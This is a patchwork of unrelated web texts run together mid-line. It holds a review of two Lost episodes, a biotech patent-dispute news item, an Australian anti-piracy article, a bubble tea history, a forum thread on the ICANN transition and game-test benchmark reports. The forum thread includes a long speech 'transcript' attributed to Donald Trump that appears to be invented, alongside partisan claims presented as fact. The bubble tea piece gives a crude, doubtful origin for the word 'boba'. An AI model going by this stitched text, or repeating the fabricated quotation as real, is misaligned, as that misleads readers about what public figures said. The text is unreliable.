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In an intelligent move that avoids dragging it out further than necessary, the episode has Locke and Kate travel into the hatch without much delay, but it doesn’t follow them down. That the episode chooses to follow down Jack instead of Locke is telling, and important for bringing the larger audience into the adventure. When Jack travels down into the hatch, he has no preconceptions on what he’ll find or what it means. His perspective is a skeptical one, and yet the things his flashlight finds—the mural, the computer equipment, the magnetic force within the walls—give him reason to question that point of view. And as though to welcome equally skeptical viewers into the scenes, Bender shoots much of it from a first person perspective (see above): we get shots of Jack, yes, but we mainly see what he’s seeing, as though we’re in the moody opening scenes of a first-person shooter. If the first introduction pushes us to see the hatch as the obsessive Lost fan searching for meaning, the second introduction puts us in Jack’s shoes and reframes the hatch through the eyes of someone who isn’t predisposed to see it through the same lens.
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What he finds there changes things. We can’t know what he expected to find, but we can agree that it probably wasn’t the man who he ran into on the day of Sarah’s surgery. On the one hand, this pushes Jack into the realm of fate and destiny, as though Desmond’s suggestion they’d meet in another life has come true in inconceivable fashion. But on the other hand, it also takes “the hatch” and connects it to a person, one who—we can presume, based on the series’ precedent—has his own personal philosophies that led him to this point. For as much as “Man Of Science, Man Of Faith,” and the second season as a whole, pushes Lost deeper into the mysteries of the island, those mysteries come attached to characters, whose identities infuse those mysteries with meaning while expanding beyond them as the series rolls on. It’s an important detail that keeps the needle in the groove, without losing the sense that it could fly off at a moment’s notice just as Mama Cass is about to come back around to the chorus.
Stray observations:
Welcome back! We’ll be doing two episodes a week through the end of the second season this fall, likely returning for Season Three in the new year.
In what will become a pattern for the series, we pick up only one of the finale’s cliffhangers: although Walt appears as a vision to Shannon alongside some Others whispering, the rest of the raft characters are missing in action.
There’s a scene missing to explain why Jack suddenly decides to go down the hatch—does he realize they should have been back by now? Is he concerned about their safety? It’s obviously crucial to the episode that he goes after them, given that they’ve been taken captive, but I’m missing the specific reason he changes his mind beyond the fact that Jack changes his mind a lot.
“Good idea, go look down the burning death hole”—I’m glad Hurley doesn’t lose his sense of humor in a crisis.
The origins of Jack’s savior complex make a strong framework for the episode, and a great reminder that Julie Bowen is a very capable dramatic actress. That said, the show worked a little too hard to make us feel fine about Jack stealing Sarah from her former fiancé with his “But can we still have sex?” reaction to her accident.
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“Adrift” (originally aired 09/28/2005)
Given that the first season of Lost ended with a three-part finale, it isn’t entirely shocking that the second season begins with a two-part premiere, even if not in name. “Adrift” aired a week after “Man Of Science, Man Of Faith,” and is technically the second episode of the season, but it immediately throws us back into the immediate aftermath of “Exodus,” Sawyer adrift amidst the wreckage of the raft as Michael screams for Walt. The episode then goes back to fill in the gaps both regarding the aftermath of Walt’s abduction and Kate and Locke’s journey into the hatch that the previous episode skipped over.
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The episode offers compelling insight into the problem-solution nature of television writing. With only an hour for the premiere, the writers made a conscious decision to focus on the mystery of the hatch, utilizing the startling opening and the suspenseful conclusion to make a strong statement regarding the season’s focus and the state of the series’ mythology. However, those choices have consequences: focusing only on the hatch made it so we have no resolution on the raft storyline, while foregrounding Jack’s perspective—for the reasons noted above—meant that we were missing out on key information for Locke and Kate. “Adrift” is therefore the solution to these problems, rewinding the narrative clock to show us the same series of events from different perspectives.
Within the context of the hatch itself, this is an effective strategy. We get a little bit more time with Desmond, as Locke worms his way into information about this mysterious bunker with artificial daylight and a computer he’s asked to input the Numbers into. Kate being taken captive gives her a chance to explore the hatch’s pantry, filled with Dharma-branded food stores and Apollo bars. The script—by Steven Maeda and Leonard Dick—also finds some nice moments of connection between the two episodes’ take on the same events, answering why Locke took off his shoes and having Desmond’s stray bullet nearly find Kate hidden in the vents. We don’t end up getting a whole lot of new information, but we get enough that when we return to the exact same end point—Jack and Desmond in a standoff—the stakes have evolved enough to carry over the cliffhanger to the next episode.
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However, Michael and Sawyer floating back toward the island struggles by comparison. The two storylines are each building to a logical end point: just as Jack and Locke’s journey into the hatch ended with Desmond, Sawyer and Michael’s float toward shore was going to end with Jin emerging from the jungle screaming and a group of shadowy figures brandishing weapons ominously following him. But Jack and Locke’s journey is fraught with natural suspense, and features its own little easter eggs that fit into the larger puzzle. By comparison, Michael and Sawyer’s conflict on the raft plays out like a theatrical two-hander, with Harold Perrineau going Shakespearean and some rather cheap-looking effects work selling the idea that there’s a shark following them on their journey.
While I would never complain about the show trading plot for character development, the issue with Michael and Sawyer’s journey is that it isn’t new character development. Whereas Jack’s flashbacks felt like they were showing us the birth of a particular part of his personality, and benefitted from the surprise convergence with Desmond’s appearance on the island, Michael’s flashbacks more or less repeat the same ideas we’ve seen Michael deal with in the past: We knew he gave up the rights to his son, and learning that he temporarily fought the situation doesn’t give us anything new to work with. Although his outright “fight” for his son parallels his goal following Walt being kidnapped, the thematic signature of the storyline hits the same beats as his previous flashbacks, such that it seems unnecessary to the narrative momentum of the season. For as much as the show seems to want Michael to emerge as a major character, he never broke out during the first season, and I would argue he isn’t compelling enough to sustain this level of repetition in his characterization.
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It makes for a second episode that ends up being about small details. What does Desmond mean by “Are you him?” Why does Desmond react to the number of days it’s been since the plane crash? Where did all this food come from? What is the hatch? The repetition of the hatch scenes doubles down on these questions without offering much in the way of answers, which works to build anticipation but also makes the raft scenes that much emptier by comparison. As much as the conclusion of those scenes—particularly the shot of what Jin identities as “The Others”—is haunting and effective at creating a second cliffhanger to be addressed in the weeks to come, that which came before it felt—for lack of a better word—adrift in the land of shark attacks and splash fights. They are not bad scenes, necessarily, but they end up adding little despite taking up a significant portion of the episode.
Stray observations:
At the end of the day, the shark attack is just too dumb—they never make the threat seem particularly real, and the effects work relies too much on the darkness to hide the absence of a real threat. That said, I still enjoyed it just because I was reminded that Lindelof and Cuse named it Ezra James Sharkington on the official podcast, and that’s a badass name.
While Jack’s trip through the hatch was fairly abstract, Locke and Kate get a much better look at the “Dharma” logo with an image of a Swan spread throughout. Ah, the Swan.
Not wanting to forget about its other characters, we get a brief scene of Claire discovering the Virgin Mary statue to remind us that Charlie’s addiction is still a going concern.
Lost’s compartmentalization is legendary, so note how Hurley explains the Numbers to Jack in the previous episode, such that when Locke is the one to put them in the computer he has no idea what they mean.
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Lost 10th Anniversary Links
Monday marked the 10th anniversary of Lost’s series premiere (which former TV Club editor Todd VanDerWerff covered as part of this feature before his departure), which also brought with it a collection of features reflecting on the series’ legacy. These include former A.V. Club contributor Noel Murray—who covered the final three seasons for the site—at Rolling Stone, Entertainment Weekly’s Jeff Jensen, and Buzzfeed’s Jace Lacob. I will only add that my first exposure to Lost was my attempt to watch a half-finished, corrupt torrent file (the first I’d ever tried to download), after which I chose to wait until Canadian broadcaster CTV—which hadn’t simulcast the series, not realizing it would break out into a hit—aired the entire pilot, which I watched using an over-the-air antenna with unreliable signal quality. It was the beginning of a beautiful friendship.
Spoiler Station (only read if you’ve seen the whole series):
Desmond! It’s really hard to divorce my response to this episode from the knowledge that he becomes such an integral character, and responsible for some of the series’ finest moments. It’s hard to remember, but I don’t think I ever would have pegged him as so important when I watched this for the first time.
I definitely don’t think I would have been paying enough attention watching this the first time to pick up that it was Shannon’s father that Jack let die while saving Sarah following her accident, but that’s what the Internet was for.
Lost was always a dangerous show in terms of credits-related spoilers, and these episodes are a big part of this: with Malcolm David Kelley disappearing from the credits, and Michelle Rodriguez popping up in them, it removes some of the suspense from the equation.
In retrospect, this might have been the point where you could sense the writers starting to feel like Michael’s story on the island had run its course: I don’t know if they had planned his arc out far enough for this to be the beginning of his eventual exit (and later return), but it just feels like they’ve run out of flashback story to tell here. It happens with every character eventually (hence the flashforwards, and the Oceanic Six mand the ramping up of the series’ narrative as a whole), but Michael might be the first.
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Next week: Anyone got a spare film projector sitting around? There’s a movie we need to watch.North Carolina biotechnology company Precision BioSciences has secured a patent victory for its genome engineering technology.
The U.S. Patent and Trademark Office has rejected claims from French company Cellectis that alleges that Precision is infringing on a Cellectis patent. The USPTO decision rejects Cellectis’ claims as being anticipated by or obvious in the context of already publicly available information. The claims stem from a Cellectis lawsuit filed in 2011 against Durham-based Precision regarding Cellectis’ ‘372 patent.
The Precision and Cellectis patent dispute dates back several years. In 2008, Cellectis filed claims on two in-licensed patents, claims that the patent office rejected. For the latest patent office decision, Cellectis does have the opportunity to respond.
“We are very pleased with the PTO’s rejection of the claims of the ‘372 patent,” Precision BioSciences vice president of scientific development Derek Jantz said in a statement. “We have always believed that the ‘372 patent was a blatant attempt by Cellectis to patent material that was obvious in light of the discoveries made by other scientists.”
Precision has patents of its own for its genome engineering technology. The company’s technology, licensed from Duke University, is called Directed Nuclease Editor technology, or DNE. The genomics technology allows scientists to insert, remove, modify or regulate any gene in mammalian or plant cells for applications in plant science and human biotechnology. Precision has also turned to patent lawsuits to fight Cellectis. Last October, Precision sued Cellectis for infringing on the company’s DNE technology.
The DNE technology could be used to “correct” genes responsible for human diseases. Precision recently split its plant science operations into a separate business unit; Precision PlantSciences will focus on agricultural applications and Precision BioSciences will continue biotechnology R&D for applications in human health."We see this as our main, go forward vehicle," Mr Burke said, adding that fighting illicit downloaders was "triparted". "There are three legs to this table, any one of which is not there and the table will fall over." One of the table's legs, he said, was a bill before Parliament that aims to block illegal downloading sites. The second leg was education, "winning over hearts and minds", while the third was ensuring legal downloads were available at "cheap and attractive prices" and in Australia at the same time as other countries. "We have got to win people over," Mr Burke said. Federal Attorney-General George Brandis and Communications Minister Malcolm Turnbull set a 120-day deadline last December for internet service providers and entertainment companies to create a binding code. It came after companies such as Village and iiNet had tried to work out a solution but were unable to reach agreement.
Nevertheless, the telecommunication industry's lobby group, Communications Alliances, submitted an industry code to the Australian Communications and Media Authority for approval last Wednesday. The document centres on a "three strikes" system. An illegal downloader will get three warning notices before a telco will help copyright holders identify them for potential legal action. The code's operation is separate to the Federal Court ruling concerning Dallas Buyers Club, which will force internet service providers iiNet and M2 Group to reveal the personal details of about 4700 customers to the film's copyright holder, Voltage Pictures. Mr Burke hasn't ruled out legal action if the triparted strategy fails. "We may have to consider other options," he said.
"I'm not going to stand by and see an industry that is not only about jobs in the economy, but also about culture and aesthetics and what we are, get killed by a bunch of thieves. And let's not forget that sitting right behind these thieves are guys that are making tens of millions of dollars in selling advertising, so I'm not ruling out anything. "But the program [the code] that we have got, and speaking for Village, is the one that we will be pursuing." Matthew Deaner, executive director of Screen Producers Australia, said a wave of Australian Dallas Buyers Club-style court actions was unlikely. He said Australian film producers were trying to educate the public rather than sue them. "Most people in most parts of the industry are trying to have different type of dialogue with people. They're trying to say, 'this is the right way to go about this stuff, this has a consequence to us'," Mr Deaner said.
"For most people, if they get that message strongly and maybe in the back of their heads realise that there are eyes on what they are doing … that would change a set of behaviours. "So the need to pursue individuals, with the way this [Dallas Buyers Club ruling] is playing out, I'm not so sure is a day-to-day tactic that anybody would be considering." But Mr Deaner said the Federal Court ruling was helpful. "People kind of have to raise their heads, instead of having their heads in the sand with this behaviour. "It's saying: 'well actually there are consequences that can play out for you if don't pay attention … you are doing things that can ultimately create problems, not just for the industry but also for yourself."If you visit Taiwan or Hong Kong you can't help but notice the unique bubble teashops on every corner. Bubble Tea to Taiwan is what coffee or soda is to the U.S. One would think Bubble Tea is the national drink by its popularity. Just like in Taiwan, Bubble Tea shops are popping up all over the world. One Taiwan based company has over 450 locations while in the Philippines another person owns over 100 within 1.5 years. The U.S. is also now feeling the growth. Hundreds of locations serve Bubble Tea in California alone. You may be wondering, "What is Bubble Tea and how did this all begin"? Bubble Tea originated in Taiwan in the early 1980's at a small tea stand. Elementary school children would look forward to buying a cup of refreshing tea after a long, hard day of work and play. Tea stands were set up in front of the schools and would compete for business with the best selling tea. One concession owner became popular with her tea when she started adding different fruit flavoring to her tea. Because of the sweet and cool taste, children loved the taste. Soon, other concessions heard about the "unique" and popular tea, so they started to add flavoring to their teas. When adding flavor, the tea and flavoring needed to be shaken well for a good all around taste. This formed bubbles in the drink, which came to be known as "Bubble Tea." In 1983 Liu Han-Chieh introduced Taiwan to tapioca pearls. The new fad was to add tapioca pearls into a favorite drink. Most of the time tapioca pearls were served in cold infused tea. After the tea and flavor were shaken well, it topped tapioca pearls that were sitting on the bottom of a clear cup. The tapioca pearls also looked like bubbles, thus also became to known as "Bubble Tea." Bubbles floated on the top your drink and bottom of your drink. Bubble tea is also known as boba drink, pearl tea drink, boba ice tea, boba, boba nai cha, zhen zhou nai cha, pearl milk tea, pearl ice tea, black pearl tea, tapioca ball drink, BBT, PT, pearl shake, QQ (which means chewy in Taiwanese) and possibly many others. Bubble drinks are usually cool, refreshing, and a sweet drink with tapioca pearls sitting on the bottom of a clear cup. Sometimes the drink is made with fresh fruits, milk, and crushed ice to create a healthy milk shake. You can also find drinks that are made of powdered flavoring, creamer, water, and crushed ice. And if you like it like the Asians do, the cool drink usually includes a healthy tea, infused by a flavoring. Tapioca pearls are black, but can sometimes be found to be white or transparent. Depending on the ingredients of the pearl, the color varies. I've been told that the white and translucent pearls are made of tapioca starch in it's natural form. The black pearl includes tapioca starch, sometimes cassava root, brown sugar and caramel which add the black color. The consistency of tapioca pearls are somewhere between jell-o and chewing gum. In fact, many people think it's somewhat of a 'gummy bear' texture. Nonetheless, the way the tapioca feels when you chew it is absolutely unique. The tapioca pearls used in bubble tea are the size of a marble. The tapioca pearls are also known as the "boba" in the bubble tea drink. This is because it is described as having the same texture as the female breasts. A clear cup with black tapioca balls on the bottom can easily identify bubble tea drinks. Another obvious trait is a huge fat straw. The fat straw is needed so that the tapioca pearls can be sucked up with the bubble tea drink and eaten. Bubble Tea's appearance definitely makes it unique. One thing is for certain. Bubble Tea is not a fad. It's a trend. This drink is addictive. If you've had a good one before then you know what we're talking about. TopSkip to comments.
Breaking: ICANN Transition Even Endangers '.gov' and '.mil' [internet giveaway]
Posted on by Arthur Wildfire! March
ICANN transition insider Paul Rosenweig warns:
1. Foreign powers will "indisputably have increased influence".
2. Transition a "leap in the dark".
3. ICANN planning to move overseas.
4. '.gov' and '.mil' "not assured by any enforceable mechanism".
So no domain name is safe.
Who is Paul Rosenweig?
He was invited to testify at yesterday's "internet giveaway" hearing because of his involvement and extensive background:
1. Department of Homeland -- deputy assistant secretary for policy.
2. Currently he runs a consulting organization for Homeland.
3. Rosenweig authored and edited numerous books on cyber-security and freedom of speech. [He also produced DVDs on those subjects.]
4. As for his politics, He's been writing Heritage Foundation columns all the way back to 1977.
[I zipped past the impressive bonafides section to 'get on with it'.]
~~~
Paul Rosenweig
My testimony today is the product of more than two years of working within ICANN on the proposed IANA transition. I (along with many others, including my Heritage colleague Brett Schaefer) participated extensively in this process through testimony, research and publications... [he lists very specifically his involvement]... and some of my suggestions have been incorporated into the final CCWG-Accountability proposal and the revised bylaws.
In my testimony today, I want to address five key issues that I think warrant substantial caution:
The IANA transition is a leap in the dark. Nobody can reasonably tell you that there is certainty about how it will work out. Yet the safe and secure functioning of the network is vital to economic and political freedom around the globe. It would be prudent to develop experiencewith the new governance model during a trial period before the transition is made irrevocable.
ICANN is incorporated in California. Yet some around the globe question that decision and are working, as part of follow on work, to see ICANN moved to another jurisdiction. Assuredly, the American role in overseeing ICANNs operations should not be terminated until that issue is resolved.
The US government is delegated as the operator of the.Gov and.Mil top level domains. Rather than guaranteeing the permanent continuation of that role by way of contract, the NTIA and ICANN have chosen to exchange letters which, in the end, promise the US that ICANN will follow its policy and notify the government before any re-delegation is made.
Thus, American control of.Gov and.Mil (which are essential to the continued stable operations ofAmerican government IT systems) is not assured by any enforceable mechanism.
[EMPHASIS:.gov and.mil "NOT ASSURED BY ANY ENFORCEABLE MECHANISM."]
In the new ICANN, other governments will indisputably have increased influence over the corporation. [snip]
And, finally, there is reason to think that the newly Empowered Community will not be well-situated to exercise realistic oversight of ICANN and its staff. There are too many barriers to effective exercise of the ECs new powers and too many practical and cultural reasons why the EC will not serve as an effective check on ICANN.
Without that check, ICANN risks becoming an unregulated monopoly with no effective outside oversight and control. [snip]
[EMPHASIS: 'ICANN risks becoming an unregulated monopoly']
... As you know, that transition is scheduled to occur on September 30, 2016... I have suggested that the formal transition proceed with a two-year trial period... [Even that desperate plea is being ignored.]
[ICANN Might Go Overseas]
ICANN is a non-profit corporation incorporated in California. Some say that this is a check on ICANNs activities, since it would be subject to suit in Americas impartial, professional court system. Indeed, in July, Assistant Secretary Strickling confidently declared ICANN is a California corporation and will remain so, noting that a three-quarters vote of the Board would be required to change this requirement of ICANNs Article of Incorporation, or to amend the fundamental bylaw requiring ICANN to maintain its primary place of business in California.6
I wish I were as confident as Assistant Secretary Strickling... The idea that ICANN would pack up and move has been contemplated by ICANNs leadership.
Back in June 2014, ICANN CEO Fadi Chehade announced, in testimony to the French Senate, that the Board had authorized him to begin, as one of five major initiatives, the creation of a parallel legal, international structure (maybe in Switzerland) for ICANN.8 [snip]
... These changes were recommended even though some Members of Congress have explicitly opposed this outcome. Specifically, a 2014 letter from Senators John Thune (RSD) and Marco Rubio (RFL) made clear that from their perspective, government influence should not be expanded in the transition: First, ICANN must prevent governments from exercising undue influence over Internet governance. In April we led 33 Senators in a letter to NTIA regarding the IANA transition. We wrote that [r]eplacing NTIAs role with another governmental organization would be disastrous and we would vigorously oppose such a plan. [snip]
[more info and links coming up]
TOPICS:
Foreign Affairs
Government
News/Current Events
KEYWORDS:
hearing
icann
internetgiveaway
plagiarism
[links coming up] Easy-to-Understand Summary of Internet Giveaway Few people understand how the internet runs, but we all know what ‘web pages’ are. That’s where we ‘surf’ for information. And the devil is in the details. Those pages are organized through domain names [including the pages of this forum]. ICANN runs the domain name system. And its contract with the US federal government limits ICANN’s ability to meddle with peoples’ ownership. Europe now recommends changing that. They want to use ICANN as the vehicle for a globalist network to police the internet [aka Hillary’s Internet Gatekeeper]. That way they can suppress ‘hate speech’. China is also holding secret talks with ICANN. The federal government need only renew that contract by September 30 or ICANN becomes a ‘free agent’ which can secretly wheel and deal with anyone on earth.
Deadline — ICANN’s contract must be renewed by September 30. Basics for Understanding Obama’s Internet Giveaway
http://www.freerepublic.com/focus/f-chat/3464721/posts
— and listing/linking the senators and news sources sounding the horn. Fairyland Fixes for O’s Internet Giveaway
http://www.freerepublic.com/focus/f-chat/3466481/posts Senator Grassley reg. Today’s ICANN Hearing [internet giveaway]
http://www.freerepublic.com/focus/news/3469467/posts Senator Cruz Set Up a Countdown Clock:
https://www.cruz.senate.gov/internetcountdownclock
[my system crashes even when I try to load a text-only cache.] FIREWORKS Predicted at Today’s Hearing reg. Internet Giveaway [aw!m vanity]
http://www.freerepublic.com/focus/news/3469224/posts Yes ICANN Can. Downplay O’s Internet Giveaway at Your Peril
http://www.freerepublic.com/focus/f-chat/3465347/posts Open Letter of Concern by Senators Cruz, Lankford, and Lee
http://www.freerepublic.com/focus/chat/3463938/posts?page=113#113
[ICANN is stalling on specifics and holding secret talks with China.] Open Letter by 25 advocacy groups incl. ‘Americans for Tax Reform’
http://docs.techfreedom.org/Coalition_Letter_IANA_8.10.16.pdf More Specifics reg. ICANN’s Contract with US
http://freedomoutpost.com/obama-violates-federal-law-again-reliquishes-us-control-of-internet-to-private-international-body Washington Examiner Report
http://www.freerepublic.com/focus/news/3460431/posts The Wall Street Journal
http://www.wsj.com/articles/an-internet-giveaway-to-the-u-n-1472421165 Breitbart
http://www.breitbart.com/big-government/2016/08/29/icann-un-take-internet-oct-1 The [UK] Daily Mail
http://www.dailymail.co.uk/news/article-3763094/The-United-States-control-internet-s-addressing-United-Nations-September-30-pledging-not-to.html OBAMA READY TO CEDE AMERICA’S CONTROL OF INTERNET...
http://thehill.com/policy/technology/272568-internet-domain-handoff-takes-major-step-forward Beta News
http://betanews.com/2016/01/24/the-clock-is-ticking-for-the-us-to-relinquish-control-of-icann Related FR threads http://www.freerepublic.com/focus/news/3407691/posts
http://www.freerepublic.com/focus/news/3394704/posts
http://www.freerepublic.com/focus/chat/3463938/posts
To: Arthur Wildfire! March
Can this be realistically stopped? It seems that Congress has no stomach for a fight and with election campaigning underway, this is slipping right through. Once done, I doubt it can be undone. The Internet is ours, it is purely American. If the rest of the world wants to use it, fine, on our terms. What is their choice, create their own alternative? Unbelievable that Obama and Congress want to give this away.
by 4 posted onby Reno89519 (It is very simple, Trump/Pence or Clinton/Kaine. Good riddance Lyn' Ted, we regret ever knowing you)
To: DoughtyOne; Impy; onyx; pax_et_bonum; WildHighlander57; Kackikat; shoff; snippy_about_it;...
ICANN transition insider Paul Rosenweig warns: 1. Foreign powers will “indisputably have increased influence”.
2. Transition a “leap in the dark”.
3. ICANN planning to move overseas.
4. ‘.gov’ and ‘.mil’ “not assured by any enforeable mechanism”.
To: Arthur Wildfire! March
The “US” government does not care about Americans,
who invented, used and shared ArpaNET. The “US” government arms al Qaeda and can be
trusted less than a rattlesnake which at least
has honor.
by 6 posted onby Diogenesis ("When a crime is unpunished, the world is unbalanced.")
To: Reno89519
Thirty three senators already oppose it as well as Louis Gohmert in the House and undoubtedly many other House members. Yes, it could be stopped if public awareness surges quickly enough. The danger is obvious and easy to communicate. The solution is simple — renew the contract. The sense of urgency is maximum. People don’t want this. Once people are sufficiently informed... Worst case scenario — start impeaching members of the Obama administration until the contract renewal form is signed. Work up the chain to the very top, do it rapidly, and remove any congressional leaders in the way of that process.
To: Diogenesis
If you have an email list, twitter list, whatever — please help get people informed. Letters to the editor even.
To: Arthur Wildfire! March
WHY? The Internet is a U.S. creation; I see absolutely no reason why “the powers that be” want to give it away. Well, actually I do, but this must be stopped.
[The Trump speech I would love to hear in the next few days.] Trump’s ‘Free Range Obama’ Speech — Transcript [4-1-2016] Here’s the transcript explaining why so many fresh cries from democrats now selectively outraged over Don L Trump’s speech even though it was several weeks ago. TRUMP: We have one sick congress right now I gotta tell’ya. Look at the Iran deal. That’s what happens when congress lets out a ‘Free Range’ Obama. [A member of the crowd at that moment cussed him out and called him a racist.] TRUMP: Listen to that guy! He has no idea, does he? I’m racist to say that Obama is ‘Free Range’? Listen genius — you don’t want any president to be ‘Free Range’. [shouting continues.] TRUMP: Remember when Bill Clinton went Free Range? Giving away missile technology to China so they could funnel illegal cash for his ‘96 race? [Looks to the crowd.] What an idiot. The guy’s too busy shouting to even listen to me. Get that clown out-a-here! Hurry up! I don’t pay security to walk like Otis. Remember Otis in Mayberry? Hurry up! Get that knucklehead outta’ here. So we were talking about Free Range presidents like Bill Clinton. And hey — me too. If I ever go ‘Free Range’ I would expect the House of Reps to impeach me! Isn’t that their job? That’s their job, right? If I were to illegally go over congress’s head and give millions and millions of tax dollars to Iran — Iran of all places! I’m sorry, but that makes Obama a ‘Free Range’ President. And who opened the gate for him? Congress did! They opened the gate for Bill Clinton to go Free Range, they opened the gate for Obama to go Free Range, and they’ll open the gate for Crooked Hillary to go Free Range too. Do those clowns know what a gate is even for? It’s just like the wall. When I build the Great Wall, and guys — it’s gonna’ be beautiful. What would congress do? They’d walk all around the wall, yeah, walk around and around that wall to find a gate to open. And guess what? They won’t find one. Not one gate for them to open. Boo-hoo! No gate to open for ‘illegal border crossers’ or whatever-the-hell they call’em these days. Open gates for criminals and terrorists. That’s all congress is good for. Oh and give ‘high fives’ to mayors of sanctuary cities. What’s that guy shouting over there? Huh? What a moron. Get’im outta’ here too! And be snappy about it this time. That’s better. Keep it up and you get a bonus, how’s that? [Looks to crowd.] That’s how the Free Market works. Sure works in New York. You should see workers there sometime. Best service in the world. I wish I could tip’em in the White House right outta’ my own pocket, but I here that’s illegal. Bonuses illegal right? Sounds like marxism to me — a set salary for everyone. Yuck! But hey, I’ll play by the rules. Rules are rules, right? So back to Free Range Obama. I don’t know for sure but what I hear is the strangest, craziest Free Range Obama moment yet. Now, I know you guys don’t think much of Lyin’ Ted Cruz, yeah, I know. The man has problems. I hope he gets it all worked out. But I’ll give credit where it’s due. Lyin’ Ted Cruz is warning people about Obama’s latest dirty trick, and it’s a doozy. Did you hear that he’s giving away the internet? Sounds crazy right? But congress voted TWICE that Obama renew some contract. Not once, but TWICE. So it’s not just Lyin’ Ted who’s talking about this. It’s most of congress. And talk about a bunch of wimps! Don’t reach for the cookies, Junior! The kid looks at her so she knows he heard her. Yes he heard her, no doubt in her mind, but he reaches for the cookies a second time, and what does Momma do then? Repeats herself, right? “Don’t reach for the cookies, Junior.” Why should Junior listen to her? Momma just repeats herself, so why listen? All you moms out there, I get stuck hiring Juniors like that brat all the time. The boss says something and Junior ignores him two or three times and then cops an attitude. They don’t last long under Trump, let me tell you. So do your kid a favor and get’im straight. But now, guys, now we have presidents like Junior. Bratty presidents just like bratty Junior. Congress legislates something, the Executive Branch ILLEGALLY ignores congress, so congress passes a piece of wimpy followup legislation that says, “You already broke the law by ignoring our legislation, so don’t break the law this time.” Wow. Really scary, right? Pass laws to make lawbreaking illegal. That’s what congress is good for. What a bunch of wimps. But actually, guys, I have to give congress a little credit. They at least had the courage to repeat their warning. And that’s unusual. So why was this important to them? Well, it’s because no one really knows what will happen if the contract with ICANN isn’t renewed. The deadline is September 30, and after that, it’s not just Obama and Bill Clinton who are Free Range — — GET THIS — The guys who run the internet go Free Range too! Could you believe that? Those ICANN guys run the internet. They organize website addresses. Do you know how much power they have? And when that contract expires on September 30, boy oh boy, what a mess! I’ll find a way to fix it, but it would be a heck of a lot better if I don’t have to wheel and deal internationally with this. I mean, if they sign a contract with some foreign interest before I’m sworn in, and they are beyond the FCC’s jurisdiction, that’s just one problem I’d rather head off right here and right now guys. To be clear, that’s according to most in congress, not just Ted Cruz. Congressman Louis Gohmert is also really worked up about this, and while he and I don’t agree on everything, I respect that tough Texan’s opinion. Louis Gohmert |
change over the course of the games development, and is only intended to show performance and my thoughts on the state of the current test build.**i7 4790K at 4ghz, turbo boost disabled2x8 gb Vengeance Pro Ram @2400mhzSapphire RX 480 8gb connected to a 22” 5ms 1920x1080 Full HD monitor via Display port to VGA cable – Driver version 17.9.3 installed.1TB HDDWindows 10 Pro 64 bit, fully updated on date of testing(08/10/17)Feedback is based on my experience in 1920x1080 Ultra (Vsync off) unless otherwise stated (if you’d like feedback on other settings with this rig, please let me know).– From launching on Steam, to being in game has taken anywhere between 27 to 55 seconds on a wired internet connection 40 down 9 up (maximum available speed).Min – 32 fpsMax – 70 fpsAvg – 51 fpsusage sat between 35-45%usage peaked just under 8gb and sat at between 6.5-7gb usage for the majority of the testusage sat at a constant 100% usage throughout testing– Runs really well, but there have been some rubber banding and lag issues in the build, which is to be expected at this stage in development. Even with occasional frame drops to the minimum (40) that I got, it was still a really smooth experience, nights are super spooky and made for some unintended fun times.Zombies are brutal, and death is almost guaranteed at night currently, although I did manage to survive one night. Demo and I took up vantage points in the parking lot at Popovs, while JB brought a lil horde to us (never seen him move so fast) having the higher ground was a massive advantage and allowed us to pick off the zeds, unfortunately our aim was a lil bit off and JB didn’t make itIt looks as good (on my rig) as it does in the screenshots, and exploring the map is a great experience itself.Intel G3220 @3ghz2x4gb HyperX Fury @ 1066mhzXFX HD6870 1GB connected to a 46” TV via HDMI500Gb HDDWindows 10 Pro 64 bit, fully updated on date of testing (08/10/17)Feedback is based on my experience in 1920x1080 Ultra and 1280x720 on Low Presets– From launching on Steam, to being in game has taken around 2 minutes 30 seconds on a wired internet connection 40 down 9 up (maximum available speed).CPU - 82%GPU - 100%Ram - 5.5gb - 7.6gb usageMin – 7 fpsMax – 13 fpsAvg – 10 fpsCPU - 78%GPU - 100%RAM - 4.5gb - 6gbMin - 22Max - 43Avg - 32
Spoiler: Democar82's Overview **Any performance and feedback in this spoiler is likely to change over the course of the games development, and is only intended to show performance and my thoughts on the state of the current test build.**
Test version 0.3.2
SPECS -
CPU - i5 3570K @ 4.3ghz
MEM - 8GB Kingston HyperX Black RAM @1600mhz
GPU GeForce GTX 770 2GB
MOBO - Asus P8Z77-V Pro
Screen - 42” 6ms 1920x1080 HD Display
HD - 1TB Western Digital Blue HDD
OS - Windows 10 Pro 64bit
Feedback is based on my experience in 1920x1080 Ultra (Vsync off) unless otherwise stated (if you’d like feedback on other settings with this rig, please let me know).
Connecting – Launching the game from desktop to the main menu screen took between about 8 and 20 seconds. Main Menu to being in a server takes about 16 to 32 seconds @ 65mb down 6mg up via speed test.
Performance
Min – 38 fps
Max – 82 fps
Avg – 60 fps
CPU usage sat between 35-55%
Ram usage peaked at about 7.9GB and ran about 5.0GB usage for the majority of the test
GPU usage sat at a constant 100% usage throughout testing
Thoughts – First and foremost, I like the atmosphere of STN. It feels like what I've personally wanted in a zombie apoc. open world survival game for a long time. Night is scary as hell, and I've been caught off guard and been "jump-scared" by a zombie attacking me or noticing it just a couple feet behind me... And the reason why it scares you that much, is because a single zombie can deal major damage and kill you pretty quickly. 2-3 zombies on you at one time, I promise, you're long gone. Honestly, this is how I've always wanted to see zombies in a game, so I am very excited to see this progress. I almost hope they get a little tougher even to make players hone their thinking and reasoning skills in; games just don't push the envelope anymore in this fashion, but they are pretty nasty in STN as it stands right now.
I personally enjoy the technical side of things as much, or sometimes even more-so than actually playing, at this point at least. Trying to help the devs make a super fun game that hopefully brings something fresh in the genre is what I've always aimed for. Being able to test a load of features and bug find is extremely important so that when Backers get the game it will be more "playable". I wouldn't expect a polished game by any means (shouldn't be expected), but a lot of the main issues and stability, I hope we can resolve so players won't have to deal with them, it's no fun.
Overall, the game definitely has the foundation for something we haven't really seen before, or followed-through with at least. In my opinion, already in this early of a stage of development STN has done a nicer job than some major titles with a few features. There is a lot of work to be done, bugs squashed and and it'll be worth the wait for sure. I'd be more than happy to give my thoughts on testing up until now if anyone has additional questions.
Spoiler: OhDemGames's Overview **Any performance and feedback in this spoiler is likely to change over the course of the games development, and is only intended to show performance and my thoughts on the state of the current test build.**
Test version 0.3.2
SPECS -
CPU - i7 4790K @ 4ghz
MEM - 2x8 16gb ram
GPU - Zotac gtx 970
Screen - 2 24inch 1920x1080p monitors
HD - 4TB HDD 60GB SSD not in use
OS - Windows 10 Pro 64 bit, fully updated on date of testing (30/9/17)
Feedback is based on my experience in 1920x1080 Ultra (Vsync off) unless otherwise stated.
